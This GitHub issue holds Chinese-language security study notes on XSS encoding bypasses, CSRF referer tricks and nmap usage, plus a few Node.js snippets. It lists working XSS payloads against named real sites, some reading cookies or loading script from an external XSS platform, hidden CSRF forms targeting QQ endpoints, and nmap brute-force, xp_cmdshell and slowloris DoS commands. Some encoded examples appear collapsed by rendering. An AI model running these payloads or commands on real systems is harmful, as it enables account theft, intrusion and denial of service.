旧知识整理
xinali opened this issue · 0 comments
XSS
HTML标签的属性可以使用HTML编码
可以实现跨域请求的标签及相关属性
<script src="..."></script>
标签嵌入跨域脚本<link rel="stylesheet" href="...">
标签嵌入CSS。由于CSS的松散的语法规则,CSS的跨域需要一个设置正确的Content-Type消息头。<img>
嵌入图片。支持的图片格式包括PNG,JPEG,GIF,BMP,SVG,...<video> 和 <audio>
嵌入多媒体资源。<object>, <embed> 和 <applet>
的插件。@font-face
引入的字体。一些浏览器允许跨域字体( cross-origin fonts),一些需要同源字体(same-origin fonts)。<frame> 和 <iframe>
载入的任何资源。站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互。
xss编码问题
编码的分类
html实体编码(10进制与16进制)
尖括号编码[ < ] -----> html十进制: < html十六进制:<
无论是十进制还是十六进制都可以在前面加一个或多个0
HTML解析器能识别在文本节点和参数值里的实体编码,并在内存里创建文档树的表现形式时,透明的对这些编码进行解码。
通过实体编码绕过
<?php
function htmlencode($str) {
if (empty($str)) return ;
if ($str == "") return ;
$str = str_ireplace(">", "", $str);
$str = str_ireplace("<", "", $str);
$str = str_ireplace("javascript", "", $str);
$str = str_ireplace("script", "", $str);
$str = str_ireplace(":", "", $str);
$str = str_ireplace("img", "", $str);
$str = str_ireplace("alert", "", $str);
return $str;
}
if (!array_key_exists("name", $_GET) || $_GET["name"] == NULL || $_GET["name"] == '') {
$isempty = true;
} else {
// 解码得到javascript:alert(/xss/);
$_GET["name"] = "javascript:alert(/xss/)";
$html = '<pre>';
$html .= '<a onclick="' . htmlencode($_GET["name"]) . '">click this url</a>';
$html .= '</pre>';
}
if (!$isempty) {
echo $html;
}
?>
首先数据经过php过滤,之后嵌入到网页中,浏览器调用html解析器对页面进行解析。php没有对html编码的数据进行过滤,html解码后造成xss
JS编码:js提供了四种字符编码的策略
1. 三个八进制数字,如果不够个数,前面补0,例如“e”编码为“\145”
2. 两个十六进制数字,如果不够个数,前面补0,例如“e”编码为“\x65”
3. 四个十六进制数字,如果不够个数,前面补0,例如“e”编码为“\u0065”
4. 对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)
利用js编码进行xss
<?php
$value = $_GET['name'];
echo $value;
$html = '<pre>';
$html .= "Your Name is:
<div id='a'></div>
<script>
document.getElementById('a').innerHTML= "."'".htmlspecialchars($value)."'".";
</script>";
$html .= '</pre>';
echo $html;
?>
利用
http://example.com/test.php?name=\x3c\x69\x6d\x67\x20\x73\x72\x63\x3d\x31\x20\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x61\x6c\x65\x72\x74\x28\x2f\x78\x73\x73\x2f\x29\x3e
php的htmlspecialchars会过滤以下字符,并将其转化为html实体形式
& " ' < >
处理之后的解码顺序为js解码->html解码,从而成功构成xss
该段代码也是非常典型的dom型xss
- 适用性最广的是2,因为1涉及到转义,3涉及到页面编码为unicode,不一定能够使用
- DOM:只有使用合规的完整闭合的HTML区块对每个innerHTML节点进行赋值,因为这样才不会改变被重写段落之外的文档层级结构。如果格式不对,在重写发生之前输入的数据会先按照规定的语法进行强制转换。
即通过DOM操作HTML时,可以使用<script>alert(/xss/)来代替<script>alert(/xss/)</script>,因为DOM会自动补全。- innerHTML只能使用<img src=1onerror=alert(1)>这种方式来触发JS。而不能以<script>alert(1)</script>来触发,因为这种压根不会执行<script>..</script>之间的内容。
url编码
尖括号编码[ < ] -----> url: %3C
base64编码
尖括号编码[ < ] -----> base64: PA==
支持base64编码的标签
<a href=
<iframe src=
<object data=
CSS编码
用一个反斜线(\)后面跟1~6位的十六进制数字,例如e可以编码为"\65"或"65"或"00065"
GBK编码
第一字节(高字节) | 第二字节(低字节) |
---|---|
0x81~0xFE | 0x40 |
GBK2312编码
第一字节(高字节) | 第二字节(低字节) |
---|---|
0xA1~0xF7 | 0xA1~0xFE(5C不在范围内) |
unicode和utf-8实现
UTF-8是Unicode的实现方式之一。
UTF-8最大的一个特点,就是它是一种变长的编码方式。它可以使用1~4个字节表示一个符号,根据不同的符号而变化字节长度。
UTF-8的编码规则很简单,只有二条:
1)对于单字节的符号,字节的第一位设为0,后面7位为这个符号的unicode码。因此对于英语字母,UTF-8编码和ASCII码是相同的。
2)对于n字节的符号(n>1),第一个字节的前n位都设为1,第n+1位设为0,后面字节的前两位一律设为10。剩下的没有提及的二进制位,全部为这个符号的unicode码。
Unicode符号范围(十六进制) | UTF-8编码方式(二进制) |
---|---|
0000 0000-0000 007F | 0xxxxxxx |
0000 0080-0000 07FF | 110xxxxx 10xxxxxx |
0000 0800-0000 FFFF | 1110xxxx 10xxxxxx 10xxxxxx |
0001 0000-0010 FFFF | 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx |
跟据上表,解读UTF-8编码非常简单。如果一个字节的第一位是0,则这个字节单独就是一个字符;如果第一位是1,则连续有多少个1,就表示当前字符占用多少个字节。
Unicode规范中定义,每一个文件的最前面分别加入一个表示编码顺序的字符,这个字符的名字叫做"零宽度非换行空格"(ZERO WIDTH NO-BREAK SPACE),用FEFF表示。这正好是两个字节,而且FF比FE大1。
如果一个文本文件的头两个字节是FE FF,就表示该文件采用大头方式;如果头两个字节是FF FE,就表示该文件采用小头方式。
UTF-7编码
utf-7有些字符本身可以直接以单一的ASCII字符来呈现。第一个组群被称作“direct characters”,其中包含了62个数字与英文字母,以及包含了九个符号字符:
' ( ) , - . / : ?。
UTF-7 Bom
+/v8 | +/v9 | +/v+ | +/v/
- 解析/解码顺序
-
解析顺序
html parser => css parser => js parser -
解码顺序
html decoding => url decoding => js decoding
-
属性
href= action= formaction= location= on*= name= background= poster= src= code=
支持的编码方式:
HTML,八进制,十进制,十六进制和Unicode
html编码的理解:
- html实体编码的分号可去,&#后可多加一个0
- 在xss测试过程中,html编码有几种解码的形式:
直接显示(浏览器自身解码),经过解码之后形成了html标签的形式
解码===>过滤===>显示(此时可直接在浏览器里显示出html样式)
比如输入数据为
<script>alert(1);</script>
要是第一种直接显示在浏览器里则是
<script>alert(1);</script>
并不会执行,因为浏览器只是将其看为字符串
要是经过事先解码为<script>alert(1);</script>,之后再进行显示,则会执行,因为浏览器会将其看为javascript代码
html解析
解析可以分为两个子过程——语法分析及词法分析
词法分析就是将输入分解为符号,符号是语言的词汇表——基本有效单元的集合。对于人类语言来说,它相当于我们字典中出现的所有单词。
语法分析指对语言应用语法规则。
解析器一般将工作分配给两个组件——词法分析器(有时也叫分词器)负责将输入分解为合法的符号,解析器则根据语言的语法规则分析文档结构,从而构建解析树,词法分析器知道怎么跳过空白和换行之类的无关字符。
然后我的理解是这样的:
<a href="javasc
ript:alert(1)">click</a>
首先html编码被还原出来 然后就成了换行 跟冒号
<a href="javasc
ript:alert(1)">click</a>
为什么换行后还能够执行 是因为浏览器中的解析器中词法分析器 起的作用会跳过空白跟换行之类的无效字符。
然后就构造成了一个完整的语句
<a href="javascript:alert(1)">click</a>
代码执行!
Entity编码
HTML解析器在建立文档树的时候会针对节点内的Entity编码解码后传输。
以下两个表示相同:
<img src="http://www.example.com">
<img src="http://www.example.com">
下面两个例子代码不会执行,因为,编码的是标签本身的结构而非节点内的内容:
<img src="http://www.example.com">
<img src="http://www.example.com">
经典漏洞
XSS注入技巧
新型引入外部html的方法,
test.php
<?php
header("Access-Control-Allow-Origin: *");
?>
<script>alert(location.host);</script>
在测试注入处,直接利用link标签引入即可!
例如:
<html><body>
<link rel=import href="http://example.site/test.php">
</body></html>
该方法只在chrome测试通过,ie/firefox均测试失败
只有一些比较老的浏览器才支持javascript伪协议,目前主流的chrome,firefox,ie9及之后都不支持
CVE-2012-3414
参数过滤不严导致反射型xss
http://www.example.com/v220/swfupload/swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);//
xss payloads:
<link rel=import href="http://**.**.**.**/test.svg" />chrome下有效
<img style="a:expressiox(alert(1))">低版本IE有效
<a href="java	scr	ipt: s=do	cument.createElement('script');s.src='xxx';docu	ment.body.appendChild(s);">
http://baike.baidu.com/create/d",wikiSug:{}};alert(0)</script><script>
http://www.soku.com/v?keyword=xss</title><script>alert(document.domain)</script>(尝试闭合不同的标签)
http://so.candou.com/?wd=" autofocus/onfocus=alert(document.cookie)//&type=app
http://xianguo.com/service/submitfav/?link=http://"></a><script src=//xss.tw/****></script><a "
http://www.sogou.com/sogou?pid=AQxRG"><video><source onerror=alert(document.cookie)>&query="><video><source onerror=alert(document.cookie)>
<vmlframe xmlns="urn:schemas-microsoft-com:vml" style="behavior:url(#default#vml);position:absolute;width:100%;height:100%" src="http://itsokla.duapp.com/shouzi.vml#xss"></vmlframe>
http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=;w:expr\65ssion\28%20eval\28\27\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\7d\27\29\29
http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaa%26%23x27;%2balert(1)%2b%26%23x27;
第一层url编码:&->%26 #->%23
第二层html编码:%26%23x27; -> '
其中html实体的构成方式:
&#xNNN, 而实际上 �NN; �NN, 或者是 
进制;
xss绕过技巧
-
过滤尖括号的绕过方法
- 使用事件函数:如onerror, onload...
- 使用属性:如style,expression
- 使用伪协议:javascript
-
过滤括号的绕过方法
- 使用外部文件(外部文件可以不是js结尾):
<script src='test.js'></script> <script src='test.jpg'></script>
如果过滤了某种符号,不入<>.(),此时可以使用unicode或是\x的形式进行绕过
例子,如果过滤了<>,那么可以用\u003c,\u003e和\x3c,\x3e过滤或是两种符号混合的过滤方式,特别是在dom xss中,这种方法会特别好用:
<div id="a">xxx</div>
<script>
document.getElementById("a").innerHTML="\u003cimg src=1\u003e";
</script>
比如payload:keyvalue=\x3Cimg\u0020src=1\u0020onerror=alert(1)\x3e&attr=133
在HTML属性中,会自动对实体字符进行转义。一个简单的比方。
<img src="1" onerror="alert(1)">和<img src="1" onerror="alert(1)">
是等效的
iframe 相关xss
<iframe src="javascript:alert(1)"></iframe>
<iframe src="data:text/html; <script>alert(1);</script>"></iframe>
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
重要知识点
-
支持data协议的标签与属性
-
a标签 href属性
<a href="data:text/html; base64, PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg==">xss</a>
测试在chrome(51)下可以成功弹窗,但是firefox下无法弹窗
-
object标签 data属性
<object data="javascript:alert(1)"> <object data="data:text/html,<script>alert(2)</script > "> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg">
```
-
iframe 相关属性
<iframe src="data:text/html; <script>alert(1);</script>"></iframe> <iframe src="data:text/html,<script>alert(1)</script>"></iframe>
-
meta标签 url属性
<meta http-equiv="refresh" content="1; url=data:text/html,<script>alert(2)</script>">
-
可以执行js的属性
formaction action href xlink:href autofocus src content data
-
xss 代码存储
- 通过留言板等可以存储数据的网页,之后通过找到的xss将代码读出来
CSRF
1、https跳转到http时就不会带referer
2、用iframe亦可绕过referer
那么这样攻击呢,会被发现,攻击者为了实攻击目的达到隐秘的效果,会将此页面放到一个 iframe标
签里面,然后设置一个跳转,利用iframe隐藏攻击
3、如果referrer为空:
由于浏览器特性,跨协议请求时不带refer(Geckos内核除外),比如https跳到http,如果https环境不好搭建的话,ftp其实也是可以的:)
<iframe src="data:text/html,<script src=http://www.baidu.com></script>"> //IE不支持
利用 xxx.src='javascript:"HTML代码的方式"'; 可以去掉refer,IE8要带。
<iframe id="aa" src=""></iframe>
<script>
document.getElementById("aa").src='javascript:"<html><body>wooyun.org<scr'+'ipt>eval(你想使用的代码)</scr'+'ipt></body></html>"';
</script>
//来自于二哥gainover
4、隐藏csrf攻击
<form target="addFF" id="addF" method="POST" action="http://dev.open.t.qq.com/developer/listen">
<input type="text" name="name" value="helloubox">
<input type="submit" value="go">
</form>
<form target="addTF" id="addT" method="POST" action="http://app.zhibo.qq.com/app2/mb_post2.php">
<input type="text" id="msg" name="msg" value="">
<input type="submit" value="go">
</form>
<iframe name="addFF"></iframe>
<iframe name="addTF"></iframe>
延伸拓展
Reference
Browser Security-超文本标记语言
XSS编码剖析
nmap 使用
Tags: 安全工具
[toc]
重点参数
-sT TCP扫描
-sS SYN扫描,速度较快
-sU UDP扫描
-sP ping方式扫描
-vv 结果详细输出
-O 操作系统类型的探测
-A 包含了1-10000的端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测
-Pn 不检测主机存活
重点脚本
-
脚本分类,--script=类别 这种方式进行比较笼统的扫描
auth 负责处理鉴权证书(绕开鉴权)的脚本 broadcast 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务 brute 提供暴力破解方式,针对常见的应用如http/snmp等 default 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力 discovery 对网络进行更多的信息,如SMB枚举、SNMP查询等 dos 用于进行拒绝服务攻击 exploit 利用已知的漏洞入侵系统 external 利用第三方的数据库或资源,例如进行whois解析 fuzzer 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽 malware 探测目标机是否感染了病毒、开启了后门等信息 safe 此类与intrusive相反,属于安全性脚本 version 负责增强服务与版本扫描(Version Detection)功能的脚本 vuln 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067
-
按应用服务扫描
- vnc
realvnc-auth-bypass 检查vnc bypass vnc-auth 检查vnc认证方式 vnc-info 获取vnc信息
- smb
smb破解
--script=smb-brute.nse
smb字典破解
--script=smb-brute.nse --script-args=userdb=/var/passwd,passdb=/var/passwd
查询敏感信息
nmap -p 445 -n –script=smb-psexec --script-args= smbuser=test,smbpass=test
查看系统信息
nmap -n -p445 --script=smb-os-discovery.nse --script-args=smbuser=test,smbpass=test
- mssql
猜解mssql用户名和密码
nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd
xp_cmdshell 执行命令
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user"
dumphash值
nmap -p 1433 --script ms-sql-dump-hashes.nse --script-args mssql.username=sa,mssql.password=sa
4)Mysql
扫描root空口令
nmap -p3306 --script=mysql-empty-password.nse
列出所有mysql用户
nmap -p3306 --script=mysql-users.nse --script-args=mysqluser=root 192.168.137.4
Mysql所有脚本应用
nmap --script=mysql-*
- Oracle
sid扫描
nmap --script=oracle-sid-brute -p 1521-1560 ip_address
弱口令破解
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL,userdb=/var/passwd,passdb=/var/passwd
脚本延伸
nmap --script=broadcast-netbios-master-browser 192.168.137.4 发现网关
nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.137.4 破解rsync
nmap --script informix-brute -p 9088 192.168.137.4 informix数据库破解
nmap -p 5432 --script pgsql-brute 192.168.137.4 pgsql破解
nmap -sU --script snmp-brute 192.168.137.4 snmp破解
nmap -sV --script=telnet-brute 192.168.137.4 telnet破解
nmap --script=http-vuln-cve2010-0738 --script-args 'http-vuln-cve2010-0738.paths={/path1/,/path2/}' <target> jboss autopwn
nmap --script=http-methods.nse 192.168.137.4 检查http方法
nmap --script http-slowloris --max-parallelism 400 192.168.137.4 dos攻击,对于处理能力较小的站点还挺好用的 'half-HTTP' connections
nmap --script=samba-vuln-cve-2012-1182 -p 139 192.168.137.4
其余参数
-
批量扫描
-iL filename 从文件中读取待检测的目标,文件中的表示方法支持机名,ip,网段 -iR hostnum 随机选取,进行扫描.如果-iR指定为0,则是无休止的扫描 --exclude host1[, host2] 从扫描任务中需要排除的主机 --exculdefile exclude_file 排除文件中的IP,格式和-iL指定扫描文件的格式相同
-
主机发现
-sL 仅仅是显示,扫描的IP数目,不会进行任何扫描 -sn ping扫描,即主机发现 -Pn 不检测主机存活 -PS/PA/PU/PY[portlist] TCP SYN Ping/TCP ACK Ping/UDP Ping发现 -PE/PP/PM 使用ICMP echo, timestamp and netmask 请求包发现主机 -PO[prococol list] 使用IP协议包探测对方主机是否开启 -n/-R 不对IP进行域名反向解析/为所有的IP都进行域名的反响解析
-
扫描技巧
-sS/sT/sA/sW/sM TCP SYN/TCP connect()/ACK/TCP窗口扫描/TCP Maimon扫描 -sU UDP扫描 -sN/sF/sX TCP Null,FIN,and Xmas扫描 --scanflags 自定义TCP包中的flags -sI zombie host[:probeport] Idlescan -sY/sZ SCTP INIT/COOKIE-ECHO 扫描 -sO 使用IP protocol 扫描确定目标机支持的协议类型 -b “FTP relay host” 使用FTP bounce scan
-
指定端口和扫描顺序
-p 特定的端口 -p80,443 或者 -p1-65535 -p U:PORT 扫描udp的某个端口, -p U:53 -F 快速扫描模式,比默认的扫描端口还少 -r 不随机扫描端口,默认是随机扫描的 --top-ports "number" 扫描开放概率最高的number个端口,出现的概率需要参考nmap-services文件,ubuntu中该文件位于/usr/share/nmap.nmap默认扫前1000个 --port-ratio "ratio" 扫描指定频率以上的端口
-
服务版本识别
-sV 开放版本探测,可以直接使用-A同时打开操作系统探测和版本探测 --version-intensity "level" 设置版本扫描强度,强度水平说明了应该使用哪些探测报文。数值越高,服务越有可能被正确识别。默认是7 --version-light 打开轻量级模式,为--version-intensity 2的别名 --version-all 尝试所有探测,为--version-intensity 9的别名 --version-trace 显示出详细的版本侦测过程信息
-
OS识别
-O 启用操作系统检测,-A来同时启用操作系统检测和版本检测 --osscan-limit 针对指定的目标进行操作系统检测(至少需确知该主机分别有一个open和closed的端口) --osscan-guess 推测操作系统检测结果,当Nmap无法确定所检测的操作系统时,会尽可能地提供最相近的匹配,Nmap默认进行这种匹配
-
防火墙/IDS躲避和哄骗
-f; --mtu value 指定使用分片、指定数据包的MTU. -D decoy1,decoy2... 使用诱饵隐蔽扫描ip -S IP-ADDRESS 源地址欺骗 -e interface 使用指定的接口 -g/ --source-port PROTNUM 使用指定源端口 --proxies url1,[url2],... 使用HTTP或者SOCKS4的代理 --data-length NUM 填充随机数据让数据包长度达到NUM --ip-options OPTIONS 使用指定的IP选项来发送数据包 --ttl VALUE 设置IP time-to-live域 --spoof-mac ADDR/PREFIX/VEBDOR MAC地址伪装
-
输出
-oN 将标准输出直接写入指定的文件 -oX 输出xml文件 -oS 将所有的输出都改为大写 -oG 输出便于通过bash或者perl处理的格式,非xml -oA BASENAME 可将扫描结果以标准格式、XML格式和Grep格式一次性输出 -v 提高输出信息的详细度 -d level 设置debug级别,最高是9 --reason 显示端口处于带确认状态的原因 --open 只输出端口状态为open的端口 --packet-trace 显示所有发送或者接收到的数据包 --iflist 显示路由信息和接口,便于调试 --log-errors 把日志等级为errors/warings的日志输出 --append-output 追加到指定的文件 --resume FILENAME 恢复已停止的扫描 --stylesheet PATH/URL 设置XSL样式表,转换XML输出 --webxml 从namp.org得到XML的样式 --no-sytlesheet 忽略XML声明的XSL样式表
Refrence
相关库
generic-pool 库
数据库连接池库,一开始就创建一沓数据库连接,并保持长连不断开。当我们需要访问数据库的时候,就去那一沓连接(俗称连接池)中拿来一个用,用完(对数据库增删改查完)后再把这条连接释放到连接池中(依然不断开)。这样我们只在一开始创建一沓数据库连接时会有一些开销,而这种开销总比频繁的创建和销毁连接小得多。
在 Node.js 中,我们可以使用 generic-pool 这个模块帮助我们创建和管理数据库连接池。
var Db = require('./db');
var markdown = require('markdown').markdown;
var poolModule = require('generic-pool');
var pool = poolModule.Pool({
name : 'mongoPool',
create : function(callback) {
var mongodb = Db();
mongodb.open(function (err, db) {
callback(err, db);
})
},
destroy : function(mongodb) {
mongodb.close();
},
max : 100,
min : 5,
idleTimeoutMillis : 30000,
log : true
});
backbone 用法
一个十分简化的MVC的nodejs后台框架
nodejs 后端相关技巧
nodejs 中避免header注入的方法
function htmlEscape(text){
return text.replace(/[<>"&]/g, function(match){
switch(match){
case "<":return "<";
case ">":return ">";
case "&":return "&";
case "\"":return """;
}
return match;
});
}
function responseHeaderEscape(text){
return text.replace(/[\r\n]/g, function(match){
switch(match){
case '\n': return "%0a";
case '\r': return "%0d";
}
return match;
});
}
var username = req.param('user'),
pass = req.param('pass'),
op = req.param('op'),
url = req.param('url');
if (typeof url == 'string'){
if (url[0] != '/'){
url = null; // not a local location
}else{
url = htmlEscape(responseHeaderEscape(url)); // avoid http response header injection! and avoid html injection
}
}
服务器端验证和session设置
for (var i in users){
var u = users[i];
if (u.username == username && u.pass == pass){
req.session.islogin = true;
req.session.username = u.username;
var level = {};
for (var i in u.group){
var groupName = u.group[i];
if (groups[groupName]){
level = _.extend(level, groups[groupName]);
}
}
req.session.level = level;
var resultText = ['login success with username:', username,'granted operations:',JSON.stringify(req.session.level)].join(' ');
log.log(req, resultText);
log.console(req, 'LOGIN', log.level.OK, resultText);
break;
}
}